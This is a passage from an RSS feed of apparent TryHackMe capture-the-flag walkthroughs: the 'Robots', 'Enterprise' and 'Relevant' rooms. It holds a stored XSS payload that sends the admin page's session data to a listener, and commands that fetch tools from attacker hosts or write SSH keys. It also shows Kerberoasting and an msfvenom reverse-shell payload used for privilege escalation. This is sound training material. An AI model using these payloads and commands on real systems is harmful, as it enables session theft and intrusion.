src="https://cdn-images-1.medium.com/max/1024/1*mhG9B4tuqDZTVa881PCuBQ.png" /></figure><p>MD5(username + ddmm)</p><p>Where:</p><ul><li>username represents the chosen username.</li><li>ddmm denotes the day and month of registration.</li></ul><p>An account was created using the following credentials:</p><ul><li>Username: orit</li><li>Day &amp; Month: 26/03</li></ul><p>Based on the stated hashing format, the password was generated using the appropriate command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*1QmyWuNUSwjNIhT98DPQKQ.png" /></figure><p>Following hash generation, the login page was accessed, and authentication was successfully achieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U7tTUPUJgp1OtAN6Frh-kA.png" /></figure><p>Upon gaining access, several elements were noted. The top-left corner contains a “<strong>Server Info</strong>” link, accompanied by the administrator’s last login timestamp. This information may prove valuable later and was retained for future reference.</p><p>Clicking on the “Server Info” link redirected to a phpinfo() page. This page provides valuable information, including server configurations, loaded extensions, and environment variables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qmb_EfRb0V76Oat_TTq-XA.png" /></figure><p>The following aspects within the Apache Environment section were documented:</p><ul><li>HTTP_COOKIE – This may provide insights into session management mechanisms.</li><li>SERVER_ADDR – This reveals the internal server IP address, which could be useful in subsequent stages.</li></ul><h3>Client-Side Attack — Stored XSS</h3><p>Considering the registration page, two suspicious elements were identified:</p><ul><li>The message “An admin monitors new users,” suggesting potential manual review of new accounts by the administrator.</li><li>The username field, which, if improperly sanitized, could be vulnerable to Cross-Site Scripting (XSS). And the username is reflected</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*mFyv_2Woj47Dh-ScME6ONQ.png" /></figure><p>Based on these observations, an attempt was made to inject an XSS payload into the username field. If the administrator views the injected profile, the script would execute and transmit the HTML content of their page, potentially exposing sensitive information.</p><p>So An XSS script was put to the test with the following :</p><pre> &lt;img src=&quot;http://192.168.163.38:8888/user” &gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XGr_HzzNJRhvo0nbpBw06g.png" /></figure><p>As you can see its reflected on the web server -</p><p>Another XSS is used to get a cookie session:</p><pre> &lt;img src=&quot;http://192.168.162.38:8888/?cookie=&quot; + document.cookie&quot; &gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ceb7-7gQN-WS5DxXoI6C8w.png" /></figure><p>The cookie was empty following the XSS payload execution.</p><h3>Stealing the PHPSESSID</h3><p>In /harm/to/self/server_info.php, the cookie associated with the administrator session is retrieved.</p><pre>&lt;script&gt;fetch(&#39;/harm/to/self/server_info.php&#39;).then(response =&gt; response.text()).then(data =&gt; fetch(&#39;http://192.163.138.78:9999/?cookie=&#39; + btoa(data)));&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1qooXjxtUkAbX5k1M0y0_Q.png" /></figure><p>This script, upon execution, Base64-encodes (btoa()) the page&#39;s HTML and transmits it to the attacker&#39;s server. This attack was successful, resulting in a Base64-encoded response from the administrator&#39;s session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDPG6xed-IynW6FqEyJvEQ.png" /></figure><p>The received response confirmed access to the administrator’s session, as evidenced by the presence of a user list, a feature typically unavailable to regular users.</p><p>This confirms the success of the XSS attack, potentially enabling further actions to be performed with administrator privileges.</p><p>And we will decode it using<a href="https://gchq.github.io/CyberChef/"> CyberChef</a> and get the http-cookie for the admin -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfHqKpjfk9jc0h_-qTWoVA.png" /></figure><p>Then we will login as admin using it PHPSESSID by using cookie editor -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*upr0_FmUZp0v80Udb9hyBQ.png" /></figure><p><strong>Successful login —</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TZ-yKe9XA4CTsNuvtK-1cA.png" /></figure><p>We can run web enumeratio on <strong>/harm/to/self</strong> we found <strong>admin.php</strong> inside, there’s a <strong>URL input field</strong> and a <strong>“Submit Query”</strong> button. The page says <strong>“Test URL”</strong>, which looks like it might be making a request to whatever URL we enter. This is getting more interesting!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sEKXmKvFez3IIbgzMXLEZg.png" /></figure><blockquote>N:B — We can also use Burpsuite for intercepting and injecting the payload and also the browsers editor</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-N8eri3TTauO8NV-QSRGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fnyIOrAR5TNqJAtOjGKVCw.png" /></figure><h3>SSRF Leading to Remote Code Execution (RCE).</h3><p>I had a feeling this could be <strong>SSRF</strong>, so I started an <strong>HTTP server</strong> and tested it by requesting test.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yt8Bgsu_pYX3-iZ3K-vlyQ.png" /></figure><p>Sure enough, when the request was processed, the page displayed the contents of test.txt, confirming that the server is fetching and displaying external content.</p><p>Now, let’s see how far we can push this.</p><p>Then, I created a file named <strong>test.php</strong> with the following content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*At85H9CGcbKeqNrUBCyByA.png" /></figure><p>This will execute the contents of test.php revealing there is SSRF that leads to RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5drla5jDX_-RrGQTYjWkRA.png" /></figure><p>Then, I crafted the following from <a href="https://www.revshells.com/">revshell payload</a> to get <strong>Remote Code Execution (RCE)</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TTS7YbEPnSheDGc3SzJQGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vuTbAMaprgVDsjCp7kTeXA.png" /></figure><p>And set up a listener with netcat and host it with python :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-etmlp_Q13rwkPkQkw0Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJqQRgWS1-b1HLmh-ruAIA.png" /></figure><p>BOOM! We got the RCE!</p><h3>Database Exploitation</h3><p>I listed the files and noticed <strong>config.php</strong>—this could contain <strong>database credentials</strong> or other sensitive info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iLcB8h1p1Gg1sGKnlC9a4A.png" /></figure><p>And yeah, <strong>config.php</strong> contained <strong>database credentials</strong>, including:</p><ul><li><strong>Servername:</strong> db</li><li><strong>Username: robots</strong></li><li><strong>Password: [REDACTED]</strong></li></ul><p>Off the screen, I also tried scanning the <strong>internal IP</strong> for port <strong>3306 (MySQL)</strong> but didn’t find anything open.</p><p>Also performed network scanning with proc- arp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZeF5JgTBs2usOI2g3vcSKA.png" /></figure><p>But, since we know the <strong>servername (</strong><strong>db)</strong>, we can use getent to check its actual IP:</p><pre>getent hosts db</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*iEoxfPani0zf2h6_Anwcag.png" /></figure><h4>Tunneling (Port Forwarding)</h4><p>Since the mysql client is not installed in the container, we can set up <strong>port forwarding</strong> using chisel to connect to the database from our local machine. Download chisel from this repository <a href="https://github.com/jpillora/chisel">https://github.com/jpillora/chisel</a>.</p><p>Chisel on the attacker machine to setup a server ;</p><pre>./chisel server -p 1337 --reverse --socks5 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wnWxpEOxRN9NzvgIjbjXBA.png" /></figure><p>Next, transfering chisel into the container using curl:</p><pre> curl -s http://10.8.64.79/chisel -o /tmp/chisel</pre><p>Forwarding the database port using chisel:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tMj63xt-POFHQ_W_scD3qA.png" /></figure><p>we use<strong> proxychains</strong> to connect, before that open the proxychains configuration to set up socks5 as our tunnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*l4Au5dM-0w6ZbgSuoOsvCA.png" /></figure><p>Next we use this cmd to access the database through mysql:</p><pre>proxychains4 mysql -u robots -p -h 171.18.0.2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mgPxZI7JSZNAbgs9c79PZQ.png" /></figure><blockquote>Even though the mysql tool is not present in the container, you can still connect to and enumerate the database using simple PHP scripts from the container, instead of forwarding the port.</blockquote><p>Now that the database is accessible from our machine, we can connect to it, enumerate the tables, and retrieve the stored user hashes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*E9XgIFnVpOoftlB6AXDmNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whJJWMfDleR7DCXYsKMJIw.png" /></figure><p>We have users with hashed passwords;</p><h3>Cracking the Hash</h3><p>Our interest is rgiskard: Now that we have the hash for the rgiskard user, we can attempt to crack it. From the webserver, we recall that passwords had the format md5(username+DDMM). Checking login.php, we see that passwords are hashed once more with md5 before being compared to the hashes in the database. Therefore, while the password format is md5(username+DDMM), the hashes in the database have the format md5(md5(username+DDMM)).</p><pre>www-data@robots:/var/www/html/harm/to/self$ cat login.php<br>...<br>if (isset($_POST[&#39;username&#39;])&amp;&amp;isset($_POST[&#39;password&#39;])) {<br>    $stmt = $pdo-&gt;prepare(&#39;SELECT * from users where (username= ? and password=md5(?) and `group` NOT LIKE &quot;nologin&quot;)&#39;);<br>...</pre><p>Knowing this, we can use hashcat to brute-force all possible day and month values for the date of birth of the rgiskard user and compare them to the hash from the database:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SfHEWLhvQ2ufIjHARNaYDQ.png" /></figure><p>While the plain password does not work, we can use the md5 hashed password with SSH to get a shell as the rgiskard user on the host:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*5rJ0-8cZKLU37a2_hAkozQ.png" /></figure><blockquote>SSH login for rgiskard</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*3L0BLx_kWQ_-QcSd7z-zow.png" /></figure><h4><strong>Privilege escalation vulnerability:</strong></h4><p>Using curl for arbitrary file writes.</p><p>The rgiskard user possesses sudo privileges, allowing them to execute the /usr/bin/curl 127.0.0.1/* command as the dolivaw user. This capability can be exploited to perform arbitrary file writes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MXSZfb44fY-wPuOqYLlRGQ.png" /></figure><p>From the sudo configuration, while the first URL we pass to curl must be 127.0.0.1/, curl accepts multiple URLs in a single command. Combining this with the file:// protocol, which curl also accepts, we can simply read the files as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vA82zOxsjjUzzNSOWZX66w.png" /></figure><p>We can also read the user flag as follows:</p><pre>sudo -u dolivaw /usr/bin/curl 127.0.0.1/ file:///home/dolivaw/user.txt<br></pre><p>To get a shell as the dolivaw user, curl also allows us to save the responses of the requests to a file using the -o option. We can use this to write a public SSH key to the user’s authorized_keys file.</p><p>First, generate a key pair and serve the id_ed25519.pub public key on our web server:</p><pre>ssh-keygen -t ed25519 -f dolivaw_rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M-fIjgDQWgHUPF37yG1qzQ.png" /></figure><p>Now, we can run the sudo -u dolivaw /usr/bin/curl 127.0.0.1/ http://10.8.64.79/dolivaw_rsa.pub -o /tmp/ -o /home/dolivaw/.ssh/authorized_keys command to fetch the public key from our server and write it to the /home/dolivaw/.ssh/authorized_keys file:</p><pre>rgiskard@ubuntu-jammy:~$ sudo -u dolivaw /usr/bin/curl 127.0.0.1/ http://10.8.64.79/dolivaw_rsa.pub -o /tmp/1 -o /home/dolivaw/.ssh/authorized_keys<br>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br>                                 Dload  Upload   Total   Spent    Left  Speed<br>100   274  100   274    0     0  98172      0 --:--:-- --:--:-- --:--:--  133k<br>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br>                                 Dload  Upload   Total   Spent    Left  Speed<br>100    91  100    91    0     0    269      0 --:--:-- </pre><pre>$ python3 -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<br>10.10.78.224 - - [15/Mar/2025 17:01:13] &quot;GET /dolivaw_rsa.pub.pub HTTP/1.1&quot; 200 -</pre><p>Now, we can use the private key we generated with SSH to get a shell as the dolivaw user and read the user flag at /home/dolivaw/user.txt in the intended way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zinXqsTUFy7WpOGg4ntuKw.png" /></figure><h3>Shell as root</h3><p>Checking the sudo privileges for the dolivaw user, we can see that we are able to run /usr/sbin/apache2 as the root user, which allows us to control and configure the apache2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n58xjr2SFSF1THWq6tMCfw.png" /></figure><p>Using apache2, there are many ways we can utilize it to read the root flag or get a shell as the root user.</p><h3>File Read with Include</h3><p>Let’s begin with the easiest one, which is the method mentioned <a href="https://gtfobins.github.io/gtfobins/apache2ctl/">here</a> that allows us to simply read the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LPjoamBIzByuflbsHWsM1A.png" /></figure><p>apache2 allows us to specify directives either with a config file or simply using the command line arguments. We can utilize the Include directive, which is used to include other configuration files and here’s the thing: if we were to include a file that does not contain valid directives, apache2 simply prints an error stating this along with the contents of the configuration file.</p><p>We can utilize this behavior to include the root flag, which obviously won’t have valid directives, and thus apache2 will print its contents as such:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3XnUgX3KUQkZB_ByPO37g.png" /></figure><blockquote>Hooray!! We got the root flag</blockquote><p><strong><em>Thank you for reading !</em></strong></p><p><strong><em>Yoel Yosief {Orit01}</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a063712715a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enterprise TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@Yoel_Orit01/enterprise-tryhackme-walkthrough-55f3ce4d7673?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/55f3ce4d7673</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[unquoted-service-path]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Fri, 20 Mar 2026 17:05:24 GMT</pubDate>
            <atom:updated>2026-03-20T17:05:24.113Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>You just landed in an internal network. You scan the network and there’s only the Domain Controller…</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*RCiT87FOxghsuUFGNnJXbA.png" /></figure><p>Today, we&#39;ll be addressing this challenge on THM, following the necessary steps as usual.</p><h3>1. Engagement Overview</h3><h3>Objective</h3><p>To simulate a real-world adversary and assess the security posture of a Windows-based system by identifying vulnerabilities that could lead to unauthorized access and privilege escalation.</p><h3>Scope</h3><ul><li>Target: Relevant Machine</li><li>Access Level: External (Black-box)</li><li>Goal: Obtain <strong>user-level</strong> and <strong>SYSTEM-level</strong> access</li></ul><h3>2. Methodology</h3><p>The assessment followed an industry-recognized penetration testing lifecycle aligned with:</p><ul><li>OWASP</li><li>NIST</li><li>MITRE ATT&amp;CK</li></ul><h3>Phases:</h3><ol><li>Reconnaissance</li><li>Enumeration</li><li>Exploitation</li><li>Privilege Escalation</li><li>Post-Exploitation</li></ol><h3>3. Reconnaissance &amp; Initial Discovery</h3><h3>Network Scanning</h3><p>Using Nmap:</p><pre>nmap -sVC -p- -Pn -T4 &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WwwyolMuxd6KgXMBJQR2mA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ug24S9pxV0o7eP5T0iw6bQ.png" /></figure><h3>Key Findings</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*sN8wF3d3E3CIFEc-4_-f3g.png" /></figure><p>Domain name: <strong>LAB.ENETRPRISE.THM</strong></p><p>Port Openings: <strong>7990</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_q9SP7zf8nH1XgeZHFE--A.png" /></figure><p>It instructs us to access their repository on GitHub.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDiG5DESay1MwfxlKtK1Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V2kd-Ia1Xe8czd75gRGJ0g.png" /></figure><h3>Assessment Insight</h3><ul><li>The system is clearly a <strong>Windows Server</strong></li><li>Multiple services exposed increase the attack surface</li><li>SMB and HTTP services are primary targets</li></ul><p>I accessed the website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ismdhjMeGWHzE8uU5T9b8w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u2gd3YFGXcY_6EXRDYk9gQ.png" /></figure><h3>4. Enumeration</h3><h4>4.1 SMB Enumeration</h4><p>Using:</p><pre>smbclient -L //&lt;target_ip&gt;/ </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJNffYBBM9ktsniQeOhuAg.png" /></figure><h3>Discovered Shares</h3><ul><li>Docs</li><li>Users</li><li>IPC$</li></ul><h3>Discovery</h3><ul><li>Anonymous access enabled</li><li>Share identified: Docs</li></ul><p>Accessing the share:</p><pre>smbclient //&lt;target_ip&gt;/Docs -N</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dr3LtY6gfaPAirSUfR0usg.png" /></figure><h3>Files Identified</h3><pre>get RSA-Secured_Credentials.xlsx<br>get RSA-Secured-Document-PII.docs</pre><p>I checked these files and found nothing of interest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P9ihy2OX92OFM6r_Y0a0Yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gro4xBX4LzAIeux21NLh1g.png" /></figure><h3>Analysis</h3><ul><li>Contains Office-Encoded credentials</li><li>Indicates <strong>poor credential storage practices</strong></li><li>Credentials are not immediately useful → continue enumeration</li></ul><h3>4.2 Web</h3><p>Using Dirsearch:</p><pre>gobuster dir -u http://10.114.171.142 -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*_UACAQM2MeOtomyiODtnMg.png" /></figure><p>I find a directory <strong>robots.txt:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q6BItj8dZkmLD2ItvKC-1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aLYS2P3-CVgFzyameFyUYQ.png" /></figure><p>Even with port 7990 nothing much of interest.</p><h3>6. Active Directory Exploitation</h3><h3>Kerberoasting Attack</h3><p>User enumeration with kerbrute and I downloaded it from this <a href="http://github.com/ropnop/kerbrute">github link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XrkNjKvzW99yN4vQP848TA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xo-DC7TuTGuhQKj8-TF7ZA.png" /><figcaption>kerbrute userenum</figcaption></figure><p>We got potential usernames like admin, nik and guest.</p><p>As we found through OSINT on GitHub, the username &#39;<strong>nik</strong>&#39; had a password associated with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V2kd-Ia1Xe8czd75gRGJ0g.png" /></figure><blockquote><strong>Credentials-</strong> <strong>nik:ToastyBoi!</strong></blockquote><h3>Assurance for Credentials</h3><p>Using <strong>CrackMapExec</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IIOoTQbklD963JB8yvqOFA.png" /></figure><p>Next lets use<strong> Impacket-GetUserSPNS</strong></p><p><strong>GetUserSPNs </strong>is part of the Impacket suite and is used to perform <strong>Kerberoasting attacks</strong> in an Active Directory environment.</p><h3>Purpose:</h3><ul><li>Enumerate <strong>Service Principal Names (SPNs)</strong></li><li>Request <strong>Kerberos service tickets (TGS)</strong></li><li>Extract hashes for <strong>offline password cracking</strong></li></ul><pre>impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:ToastyBoi! -dc-ip 10.112.184.103 -request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e_sx0T9twyBXtHsZdvjBEg.png" /></figure><pre>$krb5tgs$23$*svc-web$ENTERPRISE.THM$HTTP/webserver...</pre><p>👉 This is the <strong>Kerberos TGS hash</strong> used for cracking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*TNrs3xA5VOhNJgznGkAkvw.png" /></figure><h3>🔓 Crack the Hash</h3><p>Using HashCat:</p><pre>hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZfwFZsnpoJV0DpH6GpCykw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A987ELS_kMf9F0cPH1_W6Q.png" /></figure><p>Credentials<strong> bitbucket:littleredbucket</strong></p><p>Hashcat cracked the password, but the subsequent <strong>EvilWinRM</strong> login failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePxSRnZUa__bw0CS6TAnDQ.png" /></figure><p>Next, I used<strong> xfreerdp3 </strong>to log in via RDP, which was successful since port 3389 was open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0L1Z3Awulf-p3y0lzzGZJw.png" /></figure><p>✅ Successful login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4PGY9kMx7a8gSv0x3CBmw.png" /></figure><p>Hooray we got user.txt.</p><h3>Privilege Escalation</h3><h3>Enumeration</h3><p>During the assessment, <strong>winPEAS</strong> identified a potential <a href="https://www.okta.com/identity-101/dll-hijacking/"><strong>DLL hijacking</strong></a> vulnerability associated with <strong>unquoted service paths</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*VaLjByLNkmUU_HHB-KEZhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RKzvkwDbVstXUn6xqSpAww.png" /></figure><h3>What it means….</h3><p>If a non-admin user can change what a service runs (or can alter the files the service relies on), it can lead to:</p><ul><li>Privilege escalation: when the service restarts (manually or automatically), Windows runs the attacker-controlled code with the service’s higher privileges (often LocalSystem).</li><li>Persistence: once you’ve replaced/modified sosomething, it may survive reboots because the service starts again.</li><li>Defense evasion: attackers prefer service/DLL hijacking because logs can look “legitimate” (service start events).</li></ul><h4>In short:<br>“<strong>Unquoted service path” and “service binary/DLL writable” conditions are classic escalation vectors.</strong></h4><p>We can also use use <strong>PowerUp</strong>: a widely used <em>script/collection that helps enumerate the system for privilege escalation opportunities</em> (i.e., misconfigurations or permissions that could allow a low-privileged user to gain higher privileges.</p><p>On the target system I used <a href="https://superuser.com/questions/25538/how-to-download-files-from-command-line-in-windows-like-wget-or-curl">windows command</a>(powershell ) to upload it from my kali linux.</p><pre>Invoke-WebRequest -Uri http://192.168.168.78:8000/PowerUp.ps1 -OutFile .\PowerUp.ps1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1kA_PSYOxtDDmBANM_ACHg.png" /></figure><pre>.\PowerUp.ps1<br>Invoke-AllChecks</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ft9WtRh1yXqqx-_FTikI7Q.png" /></figure><h3>Vulnerability Identified</h3><h3>Unquoted Service Path</h3><p>Service:</p><pre>zerotieroneservice</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*edhCXUYh0_G6mgQcGdFk9A.png" /></figure><h3>Key Findings</h3><ul><li>Runs as <strong>NT AUTHORITY\SYSTEM</strong></li><li>Writable path by current user</li></ul><p>Verified with:</p><pre>icacls &lt;service_path&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zYn36Zi_q2hemGZan1cHOA.png" /></figure><h3>Exploitation Strategy</h3><p>Replace service executable with malicious binary.</p><h3>Payload Creation</h3><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;IP&gt; LPORT=8443 -f exe &gt; Zero.exe</pre><p>And upload to target windows machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8U8UWrNiOMSG3eFsvCdSPw.png" /></figure><p>Move the payload to the <strong>vulnerable path</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_cWUpmZPRLVXFi7zWy6ouQ.png" /></figure><h4>Trigger Exploit</h4><pre>Stop-Service zerotieroneservice<br>Start-Service zerotieroneservice</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfNotj1g9bMIPWVKbyTVtQ.png" /></figure><p>And Setup a listener:</p><pre>nc -lvnp 8443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*xTa8k3FPt6saNNteWzsC_g.png" /></figure><p>Hooray we got in :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*VOnSDQ1QDRXA7LMl9fYG3w.png" /></figure><p>✅ Full administrative access achieved</p><p>And got the root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*YguiQf-OMErtq5jbj-trsQ.png" /></figure><h3>Key Vulnerabilities</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*bUV7EjBMHL8YqYpbrtpHUg.png" /></figure><h3>🛡️ Mitigation</h3><ul><li>Remove credentials from public repositories</li><li>Enforce strong password policies</li><li>Restrict SMB access</li><li>Patch service misconfigurations</li><li>Use Managed Service Accounts</li></ul><p>Thank You For Reading!</p><p><em>Yoel Yosief{Orit01}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55f3ce4d7673" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Relevant TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@Yoel_Orit01/relevant-tryhackme-walkthrough-6aefc76c9095?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/6aefc76c9095</guid>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[windows-server]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 16:34:46 GMT</pubDate>
            <atom:updated>2026-03-13T16:34:46.732Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FbKGc1Lt8RlvmtXAZn-_bQ.jpeg" /></figure><p>Today, we’ll be tackling the<strong> Relevant </strong>TryHackMe challenge, a penetration testing exercise where we’ll apply all the necessary penetration testing steps.</p><blockquote><strong>I will also provide a professional penetration testing report format for this room.</strong></blockquote><p><strong>Intro</strong></p><p>You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in seven days.</p><p><strong>Scope of Work</strong></p><p>The client requests that an engineer conducts an assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:</p><ul><li>User.txt</li><li>Root.txt</li></ul><p>Additionally, the client has provided the following scope allowances:</p><ul><li>Any tools or techniques are permitted in this engagement, however we ask that you attempt manual exploitation first</li><li>Locate and note all vulnerabilities found</li><li>Submit the flags discovered to the dashboard</li><li>Only the IP address assigned to your machine is in scope</li><li>Find and report ALL vulnerabilities (yes, there is more than one path to root)</li></ul><p>(Roleplay off)</p><p>I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnSecurity Certified Professional Penetration Tester or career as a penetration tester in the field.</p><p>Note —<em> Nothing in this room requires Metasploit</em></p><p>Machine may take up to 5 minutes for all services to start.</p><ul><li><strong>*Writeups will not be accepted for this room</strong></li></ul><h3>1. Reconnaissance (Information Gathering)</h3><p>This stage identifies basic information about the target system.</p><h3>Check connectivity</h3><pre>ping &lt;target_ip&gt;</pre><p>Identify services with port scanning. I used Nmap.</p><pre>nmap -sV -sC -p- -T4 10.114.180.81</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*trsgWNjwyJfBh-w_69fvtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*loMr2RampyA4IhMAbEmB4w.png" /></figure><p>Example results:</p><blockquote><strong>Port Service-</strong> 80HTTP (IIS), 135RPC,139NetBIOS,445SMB, 3389RDP, 49663IIS Web server.</blockquote><p>So the attack surface includes:</p><ul><li>Web server</li><li>SMB shares</li><li>Remote Desktop</li></ul><p>These become our <strong>main entry points</strong>.</p><h3>2.Scanning &amp; Enumeration</h3><p>Now we dig deeper into the discovered services.</p><h3>SMB Enumeration</h3><p>Check SMB shares:</p><pre>smbclient -L //&lt;target_ip&gt;/ -N</pre><figure><img alt="" 